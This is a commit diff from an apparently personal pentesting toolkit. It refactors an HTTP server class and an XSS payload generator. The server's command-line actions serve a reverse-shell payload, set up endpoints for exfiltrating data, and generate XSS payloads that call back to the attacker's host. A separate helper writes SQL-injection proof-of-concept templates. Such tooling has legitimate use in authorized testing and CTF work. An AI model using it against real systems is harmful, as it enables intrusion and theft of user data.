web-server + xss cleanup
This commit is contained in:
@@ -128,13 +128,13 @@ class BlindSQLiPoC(MySQLi, BlindSQLi):
|
||||
print(poc.get_current_user())
|
||||
""")
|
||||
|
||||
if "http-server" in features or "file-server" in features:
|
||||
partial_imports["hackingscripts.fileserver"] = ["HttpFileServer"]
|
||||
main_code.append("""file_server = HttpFileServer("0.0.0.0", 3000)
|
||||
file_server.enableLogging()
|
||||
file_server.addRoute("/dynamic", on_request)
|
||||
file_server.addFile("/static", b"static-content")
|
||||
file_server.startBackground()
|
||||
if "http-server" in features or "web-server" in features or "httpserver" in features or "webserver" in features:
|
||||
partial_imports["hackingscripts.tools.server.webserver"] = ["HttpServer"]
|
||||
main_code.append("""http_server = HttpServer("0.0.0.0", 3000)
|
||||
http_server.enable_logging()
|
||||
http_server.add_route("/dynamic", on_request)
|
||||
http_server.serve_data("/static", b"static-content")
|
||||
http_server.start_background()
|
||||
""")
|
||||
|
||||
methods.append("""
|
||||
@@ -184,7 +184,7 @@ if __name__ == "__main__":
|
||||
"register|account: Generate an account registration method stub",
|
||||
"login|account: Generate an account login method stub",
|
||||
"sqli: Generate an template SQL-Injection class",
|
||||
"http-server|file-server: Generate code for starting an in-memory http server"
|
||||
"http-server|web-server: Generate code for starting an in-memory http server"
|
||||
]
|
||||
|
||||
parser.add_argument("url", type=str, help="Target URL")
|
||||
|
||||
@@ -8,10 +8,10 @@ import os
|
||||
import ssl
|
||||
from http.server import BaseHTTPRequestHandler, HTTPServer
|
||||
from urllib.parse import urlparse
|
||||
from hackingscripts.utils import util
|
||||
from hackingscripts.tools.server.xss_handler import generate_payload as generate_xss_payload
|
||||
from hackingscripts.utils import util, xss
|
||||
|
||||
class FileServerRequestHandler(BaseHTTPRequestHandler):
|
||||
|
||||
class HttpServerRequestHandler(BaseHTTPRequestHandler):
|
||||
|
||||
def __init__(self, *args, **kwargs):
|
||||
super().__init__(*args, **kwargs)
|
||||
@@ -22,7 +22,7 @@ class FileServerRequestHandler(BaseHTTPRequestHandler):
|
||||
def do_POST(self):
|
||||
self.do_GET()
|
||||
|
||||
def onForward(self, base_path, target, **kwargs):
|
||||
def on_forward(self, base_path, target, **kwargs):
|
||||
path = self.path[max(0, len(base_path)-1):]
|
||||
parts = urlparse(target)
|
||||
if path.startswith(parts.path):
|
||||
@@ -83,7 +83,7 @@ class FileServerRequestHandler(BaseHTTPRequestHandler):
|
||||
self.end_headers()
|
||||
return
|
||||
|
||||
path = self.server.cleanPath(self.path)
|
||||
path = self.server.clean_path(self.path)
|
||||
route = self.find_route(path)
|
||||
result = route(self)
|
||||
|
||||
@@ -91,7 +91,10 @@ class FileServerRequestHandler(BaseHTTPRequestHandler):
|
||||
if isinstance(result, tuple):
|
||||
status_code = 200 if len(result) < 1 else result[0]
|
||||
data = b"" if len(result) < 2 else result[1]
|
||||
headers = { } if len(result) < 3 else result[2]
|
||||
if len(result) < 3:
|
||||
headers = {}
|
||||
else:
|
||||
headers = {k: v for k, v in result[2].items() if k.lower() not in blacklist_headers}
|
||||
elif isinstance(result, int):
|
||||
status_code = result
|
||||
data = b""
|
||||
@@ -105,7 +108,7 @@ class FileServerRequestHandler(BaseHTTPRequestHandler):
|
||||
data = data if type(data) in [bytes, bytearray] else str(data).encode()
|
||||
headers = {}
|
||||
|
||||
if path in self.server.dumpRequests:
|
||||
if path in self.server.dump_requests:
|
||||
headers["Access-Control-Allow-Origin"] = "*"
|
||||
|
||||
headers["Connection"] = "Close"
|
||||
@@ -119,7 +122,6 @@ class FileServerRequestHandler(BaseHTTPRequestHandler):
|
||||
self.send_response_only(status_code)
|
||||
|
||||
for key, value in headers.items():
|
||||
if key.lower() not in blacklist_headers:
|
||||
self.send_header(key, value)
|
||||
|
||||
if self.command.upper() == "OPTIONS":
|
||||
@@ -132,7 +134,7 @@ class FileServerRequestHandler(BaseHTTPRequestHandler):
|
||||
data = data.encode()
|
||||
self.wfile.write(data)
|
||||
|
||||
if (path in self.server.dumpRequests or "/" in self.server.dumpRequests) and path != "/dummy":
|
||||
if (path in self.server.dump_requests or "/" in self.server.dump_requests) and path != "/dummy":
|
||||
body = self.read_body()
|
||||
|
||||
print("===== Connection from:",self.client_address[0])
|
||||
@@ -150,18 +152,18 @@ class FileServerRequestHandler(BaseHTTPRequestHandler):
|
||||
if self.server.logRequests:
|
||||
super().log_message(format, *args)
|
||||
|
||||
class HttpFileServer(HTTPServer):
|
||||
class HttpServer(HTTPServer):
|
||||
def __init__(self, addr, port):
|
||||
super().__init__((addr, port), FileServerRequestHandler)
|
||||
super().__init__((addr, port), HttpServerRequestHandler)
|
||||
self.ssl_context = None
|
||||
self.logRequests = False
|
||||
self.routes = { }
|
||||
self.dumpRequests = []
|
||||
self.dump_requests = []
|
||||
self.prefix_routes = { }
|
||||
self.is_running = True
|
||||
self.listen_thread = None
|
||||
|
||||
def cleanPath(self, path):
|
||||
def clean_path(self, path):
|
||||
if "?" in path:
|
||||
path = path[0:path.find("?")]
|
||||
|
||||
@@ -170,7 +172,7 @@ class HttpFileServer(HTTPServer):
|
||||
|
||||
return path.strip()
|
||||
|
||||
def addFile(self, name, data, mime_type=None):
|
||||
def serve_data(self, name, data, mime_type=None):
|
||||
|
||||
assert isinstance(name, str)
|
||||
assert data is not None
|
||||
@@ -191,7 +193,7 @@ class HttpFileServer(HTTPServer):
|
||||
headers["Content-Type"] = mime_type
|
||||
|
||||
# return 200 - OK and data
|
||||
self.addRoute(name, lambda req: (200, data, headers))
|
||||
self.add_route(name, lambda req: (200, data, headers))
|
||||
|
||||
def add_file_path(self, path, name=None):
|
||||
def readfile():
|
||||
@@ -200,7 +202,7 @@ class HttpFileServer(HTTPServer):
|
||||
|
||||
if name is None:
|
||||
name = os.path.basename(path)
|
||||
self.addRoute(name, lambda req: (200, readfile()))
|
||||
self.add_route(name, lambda req: (200, readfile()))
|
||||
|
||||
def load_directory(self, path, recursive=True, exclude_ext=[]):
|
||||
if not os.path.isdir(path):
|
||||
@@ -214,22 +216,22 @@ class HttpFileServer(HTTPServer):
|
||||
relative_path = file_path[len(path):]
|
||||
self.add_file_path(file_path, relative_path)
|
||||
|
||||
def dumpRequest(self, name):
|
||||
self.dumpRequests.append(self.cleanPath(name))
|
||||
def dump_request(self, name):
|
||||
self.dump_requests.append(self.clean_path(name))
|
||||
|
||||
def addRoute(self, path, func):
|
||||
self.routes[self.cleanPath(path)] = func
|
||||
def add_route(self, path, func):
|
||||
self.routes[self.clean_path(path)] = func
|
||||
|
||||
def addPrefixRoute(self, path, func):
|
||||
self.prefix_routes[self.cleanPath(path)] = func
|
||||
def add_prefix_route(self, path, func):
|
||||
self.prefix_routes[self.clean_path(path)] = func
|
||||
|
||||
def forwardRequest(self, path, target, **kwargs):
|
||||
self.addPrefixRoute(path, lambda req: req.onForward(path, target, **kwargs))
|
||||
def forward_request(self, path, target, **kwargs):
|
||||
self.add_prefix_route(path, lambda req: req.on_forward(path, target, **kwargs))
|
||||
|
||||
def enableLogging(self):
|
||||
def enable_logging(self):
|
||||
self.logRequests = True
|
||||
|
||||
def enableSSL(self, private_key="private.key", certificate="server.crt"):
|
||||
def enable_ssl(self, private_key="private.key", certificate="server.crt"):
|
||||
|
||||
if not os.path.isfile(private_key):
|
||||
print("Generating private key and certificate…")
|
||||
@@ -242,7 +244,7 @@ class HttpFileServer(HTTPServer):
|
||||
self.ssl_context.load_cert_chain(certificate, private_key)
|
||||
self.socket = self.ssl_context.wrap_socket(self.socket, server_side=True)
|
||||
|
||||
def startBackground(self):
|
||||
def start_background(self):
|
||||
self.listen_thread = threading.Thread(target=self.serve_forever)
|
||||
self.listen_thread.start()
|
||||
return self.listen_thread
|
||||
@@ -336,34 +338,34 @@ if __name__ == "__main__":
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
file_server = HttpFileServer(args.bind_addr, args.port)
|
||||
file_server = HttpServer(args.bind_addr, args.port)
|
||||
ip_address = util.get_address()
|
||||
|
||||
if args.ssl:
|
||||
file_server.enableSSL(args.ssl_key, args.ssl_cert)
|
||||
file_server.enable_ssl(args.ssl_key, args.ssl_cert)
|
||||
|
||||
if args.verbose:
|
||||
file_server.enableLogging()
|
||||
file_server.enable_logging()
|
||||
|
||||
if args.action == "shell":
|
||||
payload_type = args.payload if args.payload else "bash"
|
||||
shell_payload = rev_shell.generate_payload(args.payload, ip_address, 4444)
|
||||
file_server.addFile("/shell", rev_shell)
|
||||
file_server.serve_data("/shell", rev_shell)
|
||||
print("Reverse Shell URL:", file_server.get_full_url("/shell", ip_address))
|
||||
elif args.action == "dump":
|
||||
file_server.dumpRequest("/")
|
||||
file_server.dump_request("/")
|
||||
print("Exfiltrate data using:", file_server.get_full_url("/", ip_address))
|
||||
elif args.action == "proxy":
|
||||
url = "https://google.com"
|
||||
file_server.forwardRequest("/proxy", url)
|
||||
file_server.forward_request("/proxy", url)
|
||||
print("Exfiltrate data using:", file_server.get_full_url("/proxy", ip_address))
|
||||
elif args.action == "xss":
|
||||
payload_type = args.payload if args.payload else "img"
|
||||
xss = generate_xss_payload(payload_type, file_server.get_full_url("/exfiltrate", ip_address))
|
||||
file_server.addFile("/xss", xss)
|
||||
file_server.dumpRequest("/exfiltrate")
|
||||
xss_payload = xss.generate_payload(payload_type, file_server.get_full_url("/exfiltrate", ip_address))
|
||||
file_server.serve_data("/xss", xss_payload)
|
||||
file_server.dump_request("/exfiltrate")
|
||||
print("Exfiltrate data using:")
|
||||
print(xss)
|
||||
print(xss_payload)
|
||||
elif args.action == "start":
|
||||
file_server.load_directory(".")
|
||||
print("Serve files in current directory using:")
|
||||
|
||||
@@ -1,9 +1,11 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
from hackingscripts import util
|
||||
from fileserver import HttpFileServer
|
||||
from hackingscripts.utils import util
|
||||
import argparse
|
||||
import random
|
||||
import re
|
||||
|
||||
# TODO: more xss payloads, encoders, etc.
|
||||
|
||||
def generate_payload(payload_type, url, index=None, **kwargs):
|
||||
payloads = []
|
||||
@@ -25,13 +27,11 @@ if __name__ == "__main__":
|
||||
|
||||
parser = argparse.ArgumentParser(description="XSS payload generator")
|
||||
parser.add_argument(dest="type", type=str, default=None, help="Payload type")
|
||||
parser.add_argument("-p", "--port", type=int, required=False, default=None, help="Listening port")
|
||||
parser.add_argument("-a", "--addr", type=str, required=False, default=util.get_address(), help="Listening address")
|
||||
parser.add_argument("-u", "--url", dest="url", type=str, default="http://"+util.get_address(), help="XSS Base URL")
|
||||
args, extra = parser.parse_known_args()
|
||||
|
||||
listen_port = args.port
|
||||
payload_type = args.type.lower()
|
||||
local_address = args.addr
|
||||
url = args.url
|
||||
extra_args = {}
|
||||
|
||||
for entry in extra:
|
||||
@@ -42,30 +42,10 @@ if __name__ == "__main__":
|
||||
key, value = match.groups()
|
||||
extra_args[key] = value
|
||||
|
||||
# choose random port
|
||||
if listen_port is None:
|
||||
listen_port = random.randint(10000,65535)
|
||||
while util.is_port_in_use(listen_port):
|
||||
listen_port = random.randint(10000,65535)
|
||||
|
||||
http_server = HttpFileServer(local_address, listen_port)
|
||||
payload_type = args.type.lower()
|
||||
url = http_server.get_full_url("/", util.get_address())
|
||||
payload = generate_payload(payload_type, url, **extra_args)
|
||||
if payload is None:
|
||||
print("Unknown payload type: %s" % payload_type)
|
||||
print("Unknown payload type", payload_type)
|
||||
# print("Supported types: ")
|
||||
exit(1)
|
||||
|
||||
print(f"---PAYLOAD---\n{payload}\n---PAYLOAD---\n")
|
||||
|
||||
headers = {
|
||||
"Access-Control-Allow-Origin": "*",
|
||||
"Access-Control-Allow-Methods": "GET, POST, OPTIONS"
|
||||
}
|
||||
|
||||
http_server.addRoute("/", lambda req: (201, b"", headers))
|
||||
http_server.dumpRequest("/")
|
||||
http_server.serve_forever()
|
||||
|
||||
|
||||
print(payload)
|
||||
Reference in New Issue
Block a user